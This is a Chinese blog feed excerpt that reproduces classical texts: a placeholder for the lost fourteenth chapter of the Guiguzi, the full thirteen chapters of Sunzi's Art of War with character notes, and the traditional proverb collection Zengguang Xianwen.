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《鬼谷子》却乱第十四　　　　　　　　　　　　　　　却乱第十四



〔原文现已失传〕

]]> http://www.wowuyu.com/default.asp?id=127 <![CDATA[孙子兵法]]> 无语 http://www.wowuyu.com/ web@wowuyu.com 2008-11-23T18:24:15+08:00 2008-11-23T18:24:15+08:00
始计第一

孙子曰：
兵者，国之大事，死生之地，存亡之道，不可不察也。
故经之以五事，校之以计，而索其情：一曰道，二曰天，三曰地，四曰将，五
曰法。道者，令民于上同意，可与之死，可与之生，而不危也；天者，阴阳、寒暑
、时制也；地者，远近、险易、广狭、死生也；将者，智、信、仁、勇、严也；法
者，曲制、官道、主用也。凡此五者，将莫不闻，知之者胜，不知之者不胜。故校
之以计，而索其情，曰：主孰有道？将孰有能？天地孰得？法令孰行？兵众孰强？
士卒孰练？赏罚孰明？吾以此知胜负矣。将听吾计，用之必胜，留之；将不听吾计
，用之必败，去之。
计利以听，乃为之势，以佐其外。势者，因利而制权也。兵者，诡道也。故能
而示之不能，用而示之不用，近而示之远，远而示之近。利而诱之，乱而取之，实
而备之，强而避之，怒而挠之，卑而骄之，佚而劳之，亲而离之，攻其无备，出其
不意。此兵家之胜，不可先传也。
夫未战而庙算胜者，得算多也；未战而庙算不胜者，得算少也。多算胜少算，
而况于无算乎！吾以此观之，胜负见矣。


作战第二

孙子曰：
凡用兵之法，驰车千驷，革车千乘，带甲十万，千里馈粮。则内外之费，宾客
之用，胶漆之材，车甲之奉，日费千金，然后十万之师举矣。
其用战也，胜久则钝兵挫锐，攻城则力屈，久暴师则国用不足。夫钝兵挫锐，
屈力殚货，则诸侯乘其弊而起，虽有智者不能善其后矣。故兵闻拙速，未睹巧之久
也。夫兵久而国利者，未之有也。故不尽知用兵之害者，则不能尽知用兵之利也。

善用兵者，役不再籍，粮不三载，取用于国，因粮于敌，故军食可足也。国之
贫于师者远输，远输则百姓贫；近师者贵卖，贵卖则百姓财竭，财竭则急于丘役。
力屈中原、内虚于家，百姓之费，十去其七；公家之费，破军罢马，甲胄矢弓，戟
盾矛橹，丘牛大车，十去其六。故智将务食于敌，食敌一钟，当吾二十钟；□①杆
一石，当吾二十石。故杀敌者，怒也；取敌之利者，货也。车战得车十乘以上，赏
其先得者而更其旌旗。车杂而乘之，卒善而养之，是谓胜敌而益强。
故兵贵胜，不贵久。
故知兵之将，民之司命。国家安危之主也。

【注：】
①：“忌”加“艹”头。


谋攻第三

孙子曰：
夫用兵之法，全国为上，破国次之；全军为上，破军次之；全旅为上，破旅次
之；全卒为上，破卒次之；全伍为上，破伍次之。
是故百战百胜，非善之善也；不战而屈人之兵，善之善者也。故上兵伐谋，其
次伐交，其次伐兵，其下攻城。攻城之法，为不得已。修橹□①□②，具器械，三
月而后成；距堙，又三月而后已。将不胜其忿而蚁附之，杀士卒三分之一，而城不
拔者，此攻之灾也。故善用兵者，屈人之兵而非战也，拔人之城而非攻也，毁人之
国而非久也，必以全争于天下，故兵不顿而利可全，此谋攻之法也。
故用兵之法，十则围之，五则攻之，倍则分之，敌则能战之，少则能逃之，不
若则能避之。故小敌之坚，大敌之擒也。
夫将者，国之辅也。辅周则国必强，辅隙则国必弱。故君之所以患于军者三：
不知军之不可以进而谓之进，不知军之不可以退而谓之退，是谓縻军；不知三军之
事而同三军之政，则军士惑矣；不知三军之权而同三军之任，则军士疑矣。三军既
惑且疑，则诸侯之难至矣。是谓乱军引胜。
故知胜有五：知可以战与不可以战者胜，识众寡之用者胜，上下同欲者胜，以
虞待不虞者胜，将能而君不御者胜。此五者，知胜之道也。故曰：知己知彼，百战
不贻；不知彼而知己，一胜一负；不知彼不知己，每战必败。

【注：】
①：［车贲］。
②：“温”字“氵”旁换“车”旁。


军形第四

孙子曰：
昔之善战者，先为不可胜，以待敌之可胜。不可胜在己，可胜在敌。故善战者
，能为不可胜，不能使敌之必可胜。故曰：胜可知，而不可为。不可胜者，守也；
可胜者，攻也。守则不足，攻则有余。善守者藏于九地之下，善攻者动于九天之上
，故能自保而全胜也。见胜不过众人之所知，非善之善者也；战胜而天下曰善，非
善之善者也。故举秋毫不为多力，见日月不为明目，闻雷霆不为聪耳。古之所谓善
战者，胜于易胜者也。故善战者之胜也，无智名，无勇功，故其战胜不忒。不忒者
，其所措胜，胜已败者也。故善战者，立于不败之地，而不失敌之败也。是故胜兵
先胜而后求战，败兵先战而后求胜。善用兵者，修道而保法，故能为胜败之政。
兵法：一曰度，二曰量，三曰数，四曰称，五曰胜。地生度，度生量，量生数
，数生称，称生胜。故胜兵若以镒称铢，败兵若以铢称镒。
称胜者之战民也，若决积水于千仞之溪者，形也。


兵势第五

孙子曰：
凡治众如治寡，分数是也；斗众如斗寡，形名是也；三军之众，可使必受敌而
无败者，奇正是也；兵之所加，如以□①投卵者，虚实是也。
凡战者，以正合，以奇胜。故善出奇者，无穷如天地，不竭如江海。终而复始
，日月是也。死而更生，四时是也。声不过五，五声之变，不可胜听也；色不过五
，五色之变，不可胜观也；味不过五，五味之变，不可胜尝也；战势不过奇正，奇
正之变，不可胜穷也。奇正相生，如循环之无端，孰能穷之哉！
激水之疾，至于漂石者，势也；鸷鸟之疾，至于毁折者，节也。故善战者，其
势险，其节短。势如扩弩，节如发机。纷纷纭纭，斗乱而不可乱；浑浑沌沌，形圆
而不可败。乱生于治，怯生于勇，弱生于强。治乱，数也；勇怯，势也；强弱，形
也。
故善动敌者，形之，敌必从之；予之，敌必取之。以利动之，以卒待之。故善
战者，求之于势，不责于人故能择人而任势。任势者，其战人也，如转木石。木石
之性，安则静，危则动，方则止，圆则行。
故善战人之势，如转圆石于千仞之山者，势也。

【注：】
①：“瑕”的“王”旁换“石”旁。


虚实第六

孙子曰：
凡先处战地而待敌者佚，后处战地而趋战者劳。故善战者，致人而不致于人。
能使敌人自至者，利之也；能使敌人不得至者，害之也。故敌佚能劳之，饱能饥之
，安能动之。出其所必趋，趋其所不意。
行千里而不劳者，行于无人之地也；攻而必取者，攻其所不守也。守而必固者
，守其所必攻也。故善攻者，敌不知其所守；善守者，敌不知其所攻。微乎微乎，
至于无形；神乎神乎，至于无声，故能为敌之司命。进而不可御者，冲其虚也；退
而不可追者，速而不可及也。故我欲战，敌虽高垒深沟，不得不与我战者，攻其所
必救也；我不欲战，虽画地而守之，敌不得与我战者，乖其所之也。故形人而我无
形，则我专而敌分。我专为一，敌分为十，是以十攻其一也。则我众敌寡，能以众
击寡者，则吾之所与战者约矣。吾所与战之地不可知，不可知则敌所备者多，敌所
备者多，则吾所与战者寡矣。故备前则后寡，备后则前寡，备左则右寡，备右则左
寡，无所不备，则无所不寡。寡者，备人者也；众者，使人备己者也。故知战之地
，知战之日，则可千里而会战；不知战之地，不知战日，则左不能救右，右不能救
左，前不能救后，后不能救前，而况远者数十里，近者数里乎！
以吾度之，越人之兵虽多，亦奚益于胜哉！
故曰：胜可为也。敌虽众，可使无斗。故策之而知得失之计，候之而知动静之
理，形之而知死生之地，角之而知有余不足之处。故形兵之极，至于无形。无形则
深间不能窥，智者不能谋。因形而措胜于众，众不能知。人皆知我所以胜之形，而
莫知吾所以制胜之形。故其战胜不复，而应形于无穷。
夫兵形象水，水之行避高而趋下，兵之形避实而击虚；水因地而制流，兵因敌
而制胜。故兵无常势，水无常形。能因敌变化而取胜者，谓之神。故五行无常胜，
四时无常位，日有短长，月有死生。


军争第七

孙子曰：
凡用兵之法，将受命于君，合军聚众，交和而舍，莫难于军争。军争之难者，
以迂为直，以患为利。
故迂其途，而诱之以利，后人发，先人至，此知迂直之计者也。军争为利，军
争为危。举军而争利则不及，委军而争利则辎重捐。是故卷甲而趋，日夜不处，倍
道兼行，百里而争利，则擒三将军，劲者先，疲者后，其法十一而至；五十里而争
利，则蹶上将军，其法半至；三十里而争利，则三分之二至。是故军无辎重则亡，
无粮食则亡，无委积则亡。故不知诸侯之谋者，不能豫交；不知山林、险阻、沮泽
之形者，不能行军；不用乡导者，不能得地利。故兵以诈立，以利动，以分和为变
者也。故其疾如风，其徐如林，侵掠如火，不动如山，难知如阴，动如雷震。掠乡
分众，廓地分利，悬权而动。先知迂直之计者胜，此军争之法也。
《军政》曰：“言不相闻，故为之金鼓；视不相见，故为之旌旗。”夫金鼓旌
旗者，所以一民之耳目也。民既专一，则勇者不得独进，怯者不得独退，此用众之
法也。故夜战多金鼓，昼战多旌旗，所以变人之耳目也。
三军可夺气，将军可夺心。是故朝气锐，昼气惰，暮气归。善用兵者，避其锐
气，击其惰归，此治气者也。以治待乱，以静待哗，此治心者也。以近待远，以佚
待劳，以饱待饥，此治力者也。无邀正正之旗，无击堂堂之陈，此治变者也。
故用兵之法，高陵勿向，背丘勿逆，佯北勿从，锐卒勿攻，饵兵勿食，归师勿
遏，围师遗阙，穷寇勿迫，此用兵之法也。


九变第八

孙子曰：
凡用兵之法，将受命于君，合军聚合。泛地无舍，衢地合交，绝地无留，围地
则谋，死地则战，途有所不由，军有所不击，城有所不攻，地有所不争，君命有所
不受。
故将通于九变之利者，知用兵矣；将不通九变之利，虽知地形，不能得地之利
矣；治兵不知九变之术，虽知五利，不能得人之用矣。
是故智者之虑，必杂于利害，杂于利而务可信也，杂于害而患可解也。是故屈
诸侯者以害，役诸侯者以业，趋诸侯者以利。故用兵之法，无恃其不来，恃吾有以
待之；无恃其不攻，恃吾有所不可攻也。
故将有五危，必死可杀，必生可虏，忿速可侮，廉洁可辱，爱民可烦。凡此五
者，将之过也，用兵之灾也。覆军杀将，必以五危，不可不察也。


行军第九

孙子曰：
凡处军相敌，绝山依谷，视生处高，战隆无登，此处山之军也。绝水必远水，
客绝水而来，勿迎之于水内，令半渡而击之利，欲战者，无附于水而迎客，视生处
高，无迎水流，此处水上之军也。绝斥泽，唯亟去无留，若交军于斥泽之中，必依
水草而背众树，此处斥泽之军也。平陆处易，右背高，前死后生，此处平陆之军也
。凡此四军之利，黄帝之所以胜四帝也。凡军好高而恶下，贵阳而贱阴，养生而处
实，军无百疾，是谓必胜。丘陵堤防，必处其阳而右背之，此兵之利，地之助也。
上雨水流至，欲涉者，待其定也。凡地有绝涧、天井、天牢、天罗、天陷、天隙，
必亟去之，勿近也。吾远之，敌近之；吾迎之，敌背之。军旁有险阻、潢井、蒹葭
、小林、□①荟者，必谨覆索之，此伏奸之所处也。
敌近而静者，恃其险也；远而挑战者，欲人之进也；其所居易者，利也；众树
动者，来也；众草多障者，疑也；鸟起者，伏也；兽骇者，覆也；尘高而锐者，车
来也；卑而广者，徒来也；散而条达者，樵采也；少而往来者，营军也；辞卑而备
者，进也；辞强而进驱者，退也；轻车先出居其侧者，陈也；无约而请和者，谋也
；奔走而陈兵者，期也；半进半退者，诱也；杖而立者，饥也；汲而先饮者，渴也
；见利而不进者，劳也；鸟集者，虚也；夜呼者，恐也；军扰者，将不重也；旌旗
动者，乱也；吏怒者，倦也；杀马肉食者，军无粮也；悬□②不返其舍者，穷寇也
；谆谆□③□③，徐与人言者，失众也；数赏者，窘也；数罚者，困也；先暴而后
畏其众者，不精之至也；来委谢者，欲休息也。兵怒而相迎，久而不合，又不相去
，必谨察之。
兵非贵益多也，惟无武进，足以并力料敌取人而已。夫惟无虑而易敌者，必擒
于人。卒未亲而罚之，则不服，不服则难用。卒已亲附而罚不行，则不可用。故合
之以文，齐之以武，是谓必取。令素行以教其民，则民服；令素不行以教其民，则
民不服。令素行者，与众相得也。

【注：】
①：“翳”加“艹”头。
②：［垂瓦］。
③：［讠翕］。


地形第十

孙子曰：
地形有通者、有挂者、有支者、有隘者、有险者、有远者。我可以往，彼可以
来，曰通。通形者，先居高阳，利粮道，以战则利。可以往，难以返，曰挂。挂形
者，敌无备，出而胜之，敌若有备，出而不胜，难以返，不利。我出而不利，彼出
而不利，曰支。支形者，敌虽利我，我无出也，引而去之，令敌半出而击之利。隘
形者，我先居之，必盈之以待敌。若敌先居之，盈而勿从，不盈而从之。险形者，
我先居之，必居高阳以待敌；若敌先居之，引而去之，勿从也。远形者，势均难以
挑战，战而不利。凡此六者，地之道也，将之至任，不可不察也。
凡兵有走者、有驰者、有陷者、有崩者、有乱者、有北者。凡此六者，非天地
之灾，将之过也。夫势均，以一击十，曰走；卒强吏弱，曰驰；吏强卒弱，曰陷；
大吏怒而不服，遇敌怼而自战，将不知其能，曰崩；将弱不严，教道不明，吏卒无
常，陈兵纵横，曰乱；将不能料敌，以少合众，以弱击强，兵无选锋，曰北。凡此
六者，败之道也，将之至任，不可不察也。
夫地形者，兵之助也。料敌制胜，计险隘远近，上将之道也。知此而用战者必
胜，不知此而用战者必败。故战道必胜，主曰无战，必战可也；战道不胜，主曰必
战，无战可也。故进不求名，退不避罪，唯民是保，而利于主，国之宝也。
视卒如婴儿，故可以与之赴深溪；视卒如爱子，故可与之俱死。厚而不能使，
爱而不能令，乱而不能治，譬若骄子，不可用也。
知吾卒之可以击，而不知敌之不可击，胜之半也；知敌之可击，而不知吾卒之
不可以击，胜之半也；知敌之可击，知吾卒之可以击，而不知地形之不可以战，胜
之半也。故知兵者，动而不迷，举而不穷。故曰：知彼知己，胜乃不殆；知天知地
，胜乃可全。


九地第十一

孙子曰：
用兵之法，有散地，有轻地，有争地，有交地，有衢地，有重地，有泛地，有
围地，有死地。诸侯自战其地者，为散地；入人之地不深者，为轻地；我得亦利，
彼得亦利者，为争地；我可以往，彼可以来者，为交地；诸侯之地三属，先至而得
天下众者，为衢地；入人之地深，背城邑多者，为重地；山林、险阻、沮泽，凡难
行之道者，为泛地；所由入者隘，所从归者迂，彼寡可以击吾之众者，为围地；疾
战则存，不疾战则亡者，为死地。是故散地则无战，轻地则无止，争地则无攻，交
地则无绝，衢地则合交，重地则掠，泛地则行，围地则谋，死地则战。
古之善用兵者，能使敌人前后不相及，众寡不相恃，贵贱不相救，上下不相收
，卒离而不集，兵合而不齐。合于利而动，不合于利而止。敢问敌众而整将来，待
之若何曰：先夺其所爱则听矣。兵之情主速，乘人之不及。由不虞之道，攻其所不
戒也。
凡为客之道，深入则专。主人不克，掠于饶野，三军足食。谨养而勿劳，并气
积力，运兵计谋，为不可测。
投之无所往，死且不北。死焉不得，士人尽力。兵士甚陷则不惧，无所往则固
，深入则拘，不得已则斗。是故其兵不修而戒，不求而得，不约而亲，不令而信，
禁祥去疑，至死无所之。
吾士无余财，非恶货也；无余命，非恶寿也。令发之日，士卒坐者涕沾襟，偃
卧者涕交颐，投之无所往，诸、刿之勇也。故善用兵者，譬如率然。率然者，常山
之蛇也。击其首则尾至，击其尾则首至，击其中则首尾俱至。敢问兵可使如率然乎
？曰可。夫吴人与越人相恶也，当其同舟而济而遇风，其相救也如左右手。是故方
马埋轮，未足恃也；齐勇如一，政之道也；刚柔皆得，地之理也。故善用兵者，携
手若使一人，不得已也。
将军之事，静以幽，正以治，能愚士卒之耳目，使之无知；易其事，革其谋，
使人无识；易其居，迂其途，使民不得虑。帅与之期，如登高而去其梯；帅与之深
入诸侯之地，而发其机。若驱群羊，驱而往，驱而来，莫知所之。聚三军之众，投
之于险，此谓将军之事也。
九地之变，屈伸之力，人情之理，不可不察也。
凡为客之道，深则专，浅则散。去国越境而师者，绝地也；四彻者，衢地也；
入深者，重地也；入浅者，轻地也；背固前隘者，围地也；无所往者，死地也。
是故散地吾将一其志，轻地吾将使之属，争地吾将趋其后，交地吾将谨其守，
交地吾将固其结，衢地吾将谨其恃，重地吾将继其食，泛地吾将进其途，围地吾将
塞其阙，死地吾将示之以不活。
故兵之情：围则御，不得已则斗，过则从。
是故不知诸侯之谋者，不能预交；不知山林、险阻、沮泽之形者，不能行军；
不用乡导，不能得地利。四五者，一不知，非霸王之兵也。夫霸王之兵，伐大国，
则其众不得聚；威加于敌，则其交不得合。是故不争天下之交，不养天下之权，信
己之私，威加于敌，则其城可拔，其国可隳。
施无法之赏，悬无政之令。犯三军之众，若使一人。犯之以事，勿告以言；犯
之以害，勿告以利。投之亡地然后存，陷之死地然后生。夫众陷于害，然后能为胜
败。
故为兵之事，在顺详敌之意，并敌一向，千里杀将，是谓巧能成事。是故政举
之日，夷关折符，无通其使，厉于廊庙之上，以诛其事。敌人开阖，必亟入之，先
其所爱，微与之期，践墨随敌，以决战事。是故始如处女，敌人开户；后如脱兔，
敌不及拒。


火攻第十二

孙子曰：
凡火攻有五：一曰火人，二曰火积，三曰火辎，四曰火库，五曰火队。
行火必有因，因必素具。发火有时，起火有日。时者，天之燥也。日者，月在
箕、壁、翼、轸也。凡此四宿者，风起之日也。凡火攻，必因五火之变而应之：火
发于内，则早应之于外；火发而其兵静者，待而勿攻，极其火力，可从而从之，不
可从则上。火可发于外，无待于内，以时发之，火发上风，无攻下风，昼风久，夜
风止。凡军必知五火之变，以数守之。
故以火佐攻者明，以水佐攻者强。水可以绝，不可以夺。
夫战胜攻取而不惰其功者凶，命曰“费留”。故曰：明主虑之，良将惰之，非
利不动，非得不用，非危不战。主不可以怒而兴师，将不可以愠而攻战。合于利而
动，不合于利而上。怒可以复喜，愠可以复说，亡国不可以复存，死者不可以复生
。故明主慎之，良将警之。此安国全军之道也。


用间第十三

孙子曰：
凡兴师十万，出征千里，百姓之费，公家之奉，日费千金，内外骚动，怠于道
路，不得操事者，七十万家。相守数年，以争一日之胜，而爱爵禄百金，不知敌之
情者，不仁之至也，非民之将也，非主之佐也，非胜之主也。故明君贤将所以动而
胜人，成功出于众者，先知也。先知者，不可取于鬼神，不可象于事，不可验于度
，必取于人，知敌之情者也。
故用间有五：有因间，有内间，有反间，有死间，有生间。五间俱起，莫知其
道，是谓神纪，人君之宝也。乡间者，因其乡人而用之；内间者，因其官人而用之
；反间者，因其敌间而用之；死间者，为诳事于外，令吾闻知之而传于敌间也；生
间者，反报也。故三军之事，莫亲于间，赏莫厚于间，事莫密于间，非圣贤不能用
间，非仁义不能使间，非微妙不能得间之实。微哉微哉！无所不用间也。间事未发
而先闻者，间与所告者兼死。凡军之所欲击，城之所欲攻，人之所欲杀，必先知其
守将、左右、谒者、门者、舍人之姓名，令吾间必索知之。敌间之来间我者，因而
利之，导而舍之，故反间可得而用也；因是而知之，故乡间、内间可得而使也；因
是而知之，故死间为诳事，可使告敌；因是而知之，故生间可使如期。五间之事，
主必知之，知之必在于反间，故反间不可不厚也。
昔殷之兴也，伊挚在夏；周之兴也，吕牙在殷。故明君贤将，能以上智为间者
，必成大功。此兵之要，三军之所恃而动也。
]]> http://www.wowuyu.com/default.asp?id=126 <![CDATA[古训《增广贤文》]]> 无语 http://www.wowuyu.com/ web@wowuyu.com 2008-11-23T18:16:27+08:00 2008-11-23T18:16:27+08:00 观今宜鉴古，无古不成今。
知己知彼，将心比心。
酒逢知己饮，诗向会人吟。
相识满天下，知心能几人。
相逢好似初相识，到老终无怨恨心。
近水知鱼性，近山识鸟音。
易涨易退山溪水，易反易覆小人心。
运去金成铁，时来铁似金，读书须用意，一字值千金。
逢人且说三分话，未可全抛一片心。
有意栽花花不发，无心插柳柳成阴。
画虎画皮难画骨，知人知面不知心。
钱财如粪土，仁义值千金。
流水下滩非有意，白云出岫本无心。
当时若不登高望，谁信东流海洋深。
路遥知马力，事久见人心。
两人一般心，无钱堪买金，一人一般心，有钱难买针。
相见易得好，久住难为人。
马行无力皆因瘦，人不风流只为贫。
饶人不是痴汉，痴汉不会饶人。
是亲不是亲，非亲却是亲。
美不美，乡中水，亲不亲，故乡人。
莺花犹怕春光老，岂可教人枉度春。
相逢不饮空归去，洞口桃花也笑人。
红粉佳人休使老，风流浪子莫教贫。
在家不会迎宾客，出外方知少主人。
黄金无假，阿魏无真。
客来主不顾，应恐是痴人。
贫居闹市无人问，富在深山有远亲。
谁人背后无人说，哪个人前不说人。
有钱道真语，无钱语不真。
不信但看筵中酒，杯杯先劝有钱人。
闹里有钱，静处安身。
来如风雨，去似微尘。
长江后浪推前浪，世上新人赶旧人。
近水楼台先得月，向阳花木早逢春。
莫道君行早，更有早行人。
莫信直中直，须防仁不仁。
山中有直树，世上无直人。
自恨枝无叶，莫怨太阳偏。
大家都是命，半点不由人。
一年之计在于春，一日之计在于寅，一家之计在于和，一生之计在于勤。
责人之心责己，恕己之心恕人。
守口如瓶，防意如城。
宁可人负我，切莫我负人。
再三须慎意，第一莫欺心。
虎生犹可近，人熟不堪亲。
来说是非者，便是是非人。
远水难救近火，远亲不如近邻。
有茶有酒多兄弟，急难何曾见一人。
人情似纸张张薄，世事如棋局局新。
山中也有千年树，世上难逢百岁人。
力微休负重，言轻莫劝人。
无钱休入众，遭难莫寻亲。
平生莫作皱眉事，世上应无切齿人。
士者国之宝，儒为席上珍。
若要断酒法，醒眼看醉人。
求人须求大丈夫，济人须济急时无。
渴时一滴如甘露，醉后添杯不如无。
久住令人贱，频来亲也疏。
酒中不语真君子，财上分明大丈夫。
出家如初，成佛有余。
积金千两，不如明解经书。
养子不教如养驴，养女不教如养猪。
有田不耕仓廪虚，有书不读子孙愚。
仓廪虚兮岁月乏，子孙愚兮礼义疏。
同君一席话，胜读十年书。
人不通今古，马牛如襟裾。
茫茫四海人无数，哪个男儿是丈夫。
白酒酿成缘好客，黄金散尽为收书。
救人一命，胜造七级浮屠。
城门失火，殃及池鱼。
庭前生瑞草，好事不如无。
欲求生富贵，须下死工夫。
百年成之不足，一旦败之有余。
人心似铁，官法如炉。
善化不足，恶化有余。
水太清则无鱼，人至察则无徒。
知者减半，省者全无。
在家由父，出家从夫。
痴人畏妇，贤女敬夫。
是非终日有，不听自然无。
宁可正而不足，不可邪而有余。
宁可信其有，不可信其无。
竹篱茅舍风光好，道院僧堂终不如。
命里有时终须有，命里无时莫强求。
道院迎仙客，书堂隐相儒。
庭栽栖凤竹，池养化龙鱼。
结交须胜己，似我不如无。
但看三五日，相见不如初。
人情似水分高下，世事如云任卷舒。
会说说都是，不会说无礼。
磨刀恨不利，刀利伤人指。
求财恨不得，财多害自己。
知足常足，终身不辱。
知止常止，终身不耻。
有福伤财，无福伤己。
差之毫厘，失之千里。
若登高必自卑，若涉远必自迩。
三思而行，再思可矣。
使口不如自走，求人不如求己。
小时是兄弟，长大各乡里。
妒财莫妒食，怨生莫怨死。
人见白头嗔，我见白头喜。
多少少年亡，不到白头死。
墙有逢，壁有耳。
好事不出门，恶事传千里。
贼是小人，知过君子。
君子固穷，小人穷斯滥也。
贫穷自在，富贵多忧。
不以我为德，反以我为仇。
宁向直中取，不可曲中求。
人无远虑，必有近忧。
知我者为我心忧，不知我者谓我何求。
晴天不肯去，只待雨淋头。
成事莫说，覆水难收。
是非只为多开口，烦恼皆因强出头。
忍得一时之气，免得百日之忧。
近来学得乌龟法，得缩头时且缩头。
惧法朝朝乐，欺公日日忧。
人生一世，草生一春。
黑发不知勤学早，看看又是白头翁。
月到十五光明少，人到中年万事休。
儿孙自有儿孙福，莫为儿孙作马牛。
人生不满百，常怀千岁忧。
今朝有酒今朝醉，明日愁来明日忧。
路逢险处难回避，事到头来不自由。
药能医假病，酒不解真愁。
人贫不语，水平不流。
一家有女百家求，一马不行百马忧。
有花方酌酒，无月不登楼。
三杯通大道，一醉解千愁。
深山毕竟藏猛虎，大海终须纳细流。
惜花须检点，爱月不梳头。
大抵选他肌骨好，不擦红粉也风流。
受恩深处宜先退，得意浓时便可休。
莫待是非来入耳，从前恩爱反为仇。
留得五湖明月在，不愁无处下金钩。
休别有鱼处，莫恋浅滩头。
去时终须去，再三留不住。
忍一句，息一怒，饶一着，退一步。
三十不豪，四十不富，五十将来寻死路。
生不论魂，死不认尸。
父母恩深终有别，夫妻义重也分离。
人生似鸟同林宿，大限来时各自飞。
人善被人欺，马善被人骑。
人无横财不富，马无野草不肥。
人恶人怕天不怕，人善人欺天不欺。
善恶到头终有报，只争来早与来迟。
黄河尚有澄清日，岂可人无得运时。
得宠思辱，安居虑危。
念念有如临敌日，心心常似过桥时。
英雄行险道，富贵似花枝。
人情莫道春光好，只怕秋来有冷时。
送君千里，终须一别。
但将冷眼看螃蟹，看你横行到几时。
见事莫说，问事不知。
闲事休管，无事早归。
假缎染就真红色，也被旁人说是非。
善事可作，恶事莫为。
许人一物，千金不移。
龙生龙子，虎生豹儿。
龙游浅水遭虾戏，虎落平阳被犬欺。
一举首登龙虎榜，十年身到风凰池。
十年窗下无人问，一举成名天下知。
酒债寻常行处有，人生七十古来稀。
养儿待老，积谷防饥。
鸡豚狗彘之畜，无失其时。
数家之口，可以无饥矣。
常将有日思无日，莫把无时当有时。
时来风送腾王阁，运去雷轰荐福碑。
入门休问荣枯事，观看容颜便得知。
官清书吏瘦，神灵庙祝肥。
息却雷霆之怒，罢却虎狼之威。
饶人算人之本，输人算人之机。
好言难得，恶语易施。
一言既出，驷马难追。
道吾好者是吾贼，道吾恶者是吾师。
路逢侠客须呈剑，不是才人莫献诗。
三人同行，必有我师，择其善者而从之，其不善者而改之。
少壮不努力，老大徒悲伤。
人有善愿，天必佑之。
莫饮卯时酒，昏昏醉到酉。
莫骂酉时妻，一夜受孤凄。
种麻得麻，种豆得豆。
天眼恢恢，疏而不漏。
见官莫向前，做客莫在后。
宁添一斗，莫添一口。
螳螂捕蝉，岂知黄雀在后。
不求金玉重重贵，但愿儿孙个个贤。
一日夫妻，百世姻缘。
百世修来同船渡，千世修来共枕眠。
杀人一万，自损三千。
伤人一语，利如刀割。
枯木逢春犹再发，人无两度再少年。
未晚先投宿，鸡鸣早看天。
将相胸前堪走马，公候肚里好撑船。
富人思来年，穷人思眼前。
世上若要人情好，赊去物件莫取钱。
死生有命，富贵在天。
击石原有火，不击乃无烟。
为学始知道，不学亦徒然。
莫笑他人老，终须还到老。
但能依本分，终须无烦恼。
君子爱财，取之有道。
贞妇爱色，纳之以礼。
善有善报，恶有恶报。
不是不报，日子不到。
人而无信，不知其可也。
一人道好，千人传实。
凡事要好，须问三老。
若争小可，便失大道。
年年防饥，夜夜防盗。
学者如禾如稻，不学者如蒿如草。
遇饮酒时须饮酒，得高歌处且高歌。
因风吹火，用力不多。
不因渔父引，怎得见波涛。
无求到处人情好，不饮从他酒价高。
知事少时烦恼少，识人多处是非多。
入山不怕伤人虎，只怕人情两面刀。
强中更有强中手，恶人须用恶人磨。
会使不在家豪富，风流不用着衣多。
光阴似箭，日月如梭。
天时不如地利，地利不如人和。
黄金未为贵，安乐值钱多。
世上万般皆下品，思量唯有读书高。
世间好语书说尽，天下名山僧占多。
为善最乐，为恶难逃。
羊有跪乳之恩，鸦有反哺之义。
你急他未急，人闲心不闲。
隐恶扬善，执其两端。
妻贤夫祸少，子孝父心宽。
既坠釜甑，反顾无益。
翻覆之水，收之实难。
人生知足何时足，人老偷闲且是闲。
但有绿杨堪系马，处处有路透长安。
见者易，学者难。
莫将容易得，便作等闲看。
用心计较般般错，退步思量事事难。
道路各别，养家一般。
从俭入奢易，从奢入俭难。
知音说与知音听，不是知音莫与弹。
点石化为金，人心犹未足。
信了肚，卖了屋。
他人观花，不涉你目。
他人碌碌，不涉你足。
谁人不爱子孙贤，谁人不爱千钟粟。
莫把真心空计较，五行不是这题目。
与人不和，劝人养鹅。
与人不睦，劝人架屋。
但行好事，莫问前程。
河狭水急，人急计生。
明知山有虎，莫向虎山行。
路不行不到，事不为不成。
人不劝不善，钟不打不鸣。
无钱方断酒，临老始看经。
点塔七层，不如暗处一灯。
万事劝人休瞒昧，举头三尺有神明。
但存方寸土，留与子孙耕。
灭却心头火，剔起佛前灯。
惺惺常不足，懵懵作公卿。
众星朗朗，不如孤月独明。
兄弟相害，不如自生。
合理可作，小利莫争。
牡丹花好空入目，枣花虽小结实成。
欺老莫欺小，欺人心不明。
随分耕锄收地利，他时饱满谢苍天。
得忍且忍，得耐且耐。
不忍不耐，小事成大。
相论逞英雄，家计渐渐退。
贤妇令夫贵，恶妇令夫败。
一人有庆，兆民咸赖。
人老心未老，人穷志莫穷。
人无千日好，花无百日红。
杀人可恕，情理难容。
乍富不知新受用，乍贫难改旧家风。
座上客常满，樽中酒不空。
屋漏更遭连年雨，行船又遇打头风。
笋因落箨方成竹，鱼为奔波始化龙。
记得少年骑竹马，看看又是白头翁。
礼义生于富足，盗贼出于贫穷。
天上众星皆拱北，世间无水不朝东。
君子安平，达人知命。
忠言逆耳利于行，良药苦口利于病。
顺天者存，逆天者亡。
人为财死，鸟为食亡。
夫妻相合好，琴瑟与笙簧。
有儿贫不久，无子富不长。
善必寿老，恶必早亡。
爽口食多偏作药，快心事过恐生殃。
富贵定要安本分，贫穷不必枉思量。
画水无风空作浪，绣花虽好不闻香。
贪他一斗米，失却半年粮。
争他一脚豚，反失一肘羊。
龙归晚洞云犹湿，麝过春山草木香。
平生只会量人短，何不回头把自量。
见善如不及，见恶如探汤。
人贫志短，马瘦毛长。
自家心里急，他人未知忙。
贫无达士将金赠，病有高人说药方。
触来莫与说，事过心清凉。
秋至满山多秀色，春来无处不花香。
凡人不可貌相，海水不可斗量。
清清之水，为土所防。
济济之士，为酒所伤。
蒿草之下，或有兰香。
茅茨之屋，或有侯王。
无限朱门生饿殍，几多白屋出卿。
醉后乾坤大，壶中日月长。
万事皆已定，浮生空白茫。
千里送毫毛，礼轻仁义重。
一人传虚，百人传实。
世事明如镜，前程暗似漆。
光阴黄金难买，一世如驹过隙。
良田万倾，日食一升。
大厦千间，夜眠八尺。
千经万典，孝义为先。
一字入公门，九牛拖不出。
衙门八字开，有理无钱莫进来。
富从升合起，贫因不算来。
家中无才子，官从何处来。
万事不由人计较，一生都是命安排。
急行慢行，前程只有多少路。
人间私语，天闻若雷。
暗室亏心，神目如电。
一毫之恶，劝人莫作。
一毫之善，与人方便。
欺人是祸，饶人是福。
天眼恢恢，报应甚速。
圣贤言语，神钦鬼伏。
人各有心，心各有见。
口说不如身逢，耳闻不如目见。
养军千日，用在一朝。
国清才子贵，家富小儿骄。
利刀割体痕易合，恶语伤人恨不消。
公道世间唯白发，贵人头上不曾饶。
